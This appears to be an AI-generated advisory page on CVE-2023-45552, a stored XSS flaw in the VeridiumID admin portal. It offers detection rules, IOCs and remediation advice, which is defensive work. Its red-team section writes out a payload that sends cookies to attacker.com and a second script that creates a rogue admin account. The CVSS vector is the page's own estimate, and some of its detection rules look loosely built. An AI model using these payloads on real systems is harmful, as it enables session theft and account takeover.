CVE-2023-45552
Executive Summary
CVE-2023-45552 is a stored cross-site scripting (XSS) vulnerability in VeridiumID, an identity and access management platform. The flaw resides in the admin portal and allows an authenticated attacker to inject malicious scripts via the self-service portal. Successful exploitation enables the attacker to take over all accounts, including administrative ones, by executing arbitrary JavaScript in the context of other users' browsers. The vulnerability affects versions prior to 3.5.0. No public exploit code or proof-of-concept is currently available, but the risk is high due to the potential for full account takeover.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary software vulnerability in VeridiumID.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, which is likely a placeholder. Based on the description (authenticated attacker, stored XSS, account takeover), a reasonable CVSS v3.1 vector would be:
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): Low (L) – requires authenticated user
- User Interaction (UI): Required (R) – victim must view the malicious page
- Scope (S): Changed (C) – attacker can impact resources beyond the vulnerable component
- Confidentiality (C): High (H) – full account takeover
- Integrity (I): High (H) – attacker can modify data
- Availability (A): High (H) – attacker can disrupt service
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Estimated Base Score: 9.0 (Critical)
Threat Level: Critical. The ability to take over all accounts, including admin, makes this a severe threat.
Deep Dive & Mechanics
The vulnerability is a stored XSS in the admin portal of VeridiumID. The self-service portal allows authenticated users to submit input (e.g., profile updates, requests) that is later displayed in the admin portal without proper sanitization or encoding. An attacker can craft a malicious payload (e.g., <script>alert('XSS')</script>) and submit it via the self-service portal. When an administrator views the submitted data in the admin portal, the script executes in the admin's browser session. This allows the attacker to:
- Steal session cookies
- Perform actions on behalf of the admin (e.g., create new admin accounts, modify configurations)
- Escalate privileges to full administrative control
The root cause is insufficient output encoding in the admin portal when rendering user-supplied data from the self-service portal.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// In admin portal, displaying user input from self-service
echo "<div>" . $userInput . "</div>";
Patched Code (Conceptual):
// Properly encode output
echo "<div>" . htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8') . "</div>";
The patch ensures that any HTML/JavaScript in user input is escaped, preventing script execution.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Authenticated user account on VeridiumID (any role)
- Access to the self-service portal
- Admin user must view the submitted data
Exploitation Steps:
- Log in to the self-service portal.
- Navigate to a field that is later displayed in the admin portal (e.g., "Request Reason" or "Profile Bio").
- Inject a malicious payload, such as:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Submit the form.
- Wait for an admin to view the request in the admin portal.
- The admin's browser executes the script, sending their session cookie to the attacker.
- Use the stolen cookie to impersonate the admin and take over all accounts.
Alternative Payload (Account Takeover):
<script>
// Create a new admin user
fetch('/admin/users/create', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({username: 'attacker', password: 'P@ssw0rd!', role: 'admin'})
});
</script>
Blue Team (Detection & Response)
Detection:
- Monitor for unusual input patterns in self-service portal fields (e.g.,
<script>,onerror=,javascript:). - Alert on admin portal access from unusual IPs or after a self-service submission.
- Use web application firewall (WAF) rules to block XSS payloads.
Response:
- Immediately isolate affected admin accounts.
- Review logs for unauthorized account creation or privilege escalation.
- Rotate all admin credentials.
- Apply the patch (upgrade to 3.5.0) or implement virtual patching (e.g., WAF rule to block
<script>tags in self-service input).
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound connections to attacker-controlled domains (e.g.,
attacker.com) from the VeridiumID server. - Unusual HTTP POST requests to
/admin/users/createor similar endpoints.
- Outbound connections to attacker-controlled domains (e.g.,
- Host IOCs:
- Presence of unexpected admin accounts in VeridiumID.
- Modified configuration files (e.g.,
config.php) with backdoor entries.
- Log IOCs:
- Log entries showing
scripttags in self-service portal fields. - Admin login events from IPs not associated with legitimate admins.
- Log entries showing
Detection Engineering
YARA Rule
rule Detect_VeridiumID_XSS_Payload {
meta:
description = "Detects XSS payloads targeting VeridiumID CVE-2023-45552"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-45552"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
$xss3 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: VeridiumID Stored XSS Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential XSS payloads in VeridiumID self-service portal logs
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: veridiumid
detection:
selection:
http_method: 'POST'
url_path: '/self-service/*'
body|contains:
- '<script>'
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in input fields (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"VeridiumID Stored XSS Payload Outbound"; flow:to_server,established; content:"POST"; http_method; content:"/self-service/"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Update VeridiumID to version 3.5.0 or later.
- Virtual Patching: If immediate upgrade is not possible, deploy a WAF rule to block XSS payloads in self-service input fields.
- Audit: Review all admin accounts and logs for signs of compromise.
Long-Term Measures:
- Implement input validation and output encoding for all user-supplied data.
- Conduct regular security assessments and penetration testing.
- Enforce least privilege for user roles.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.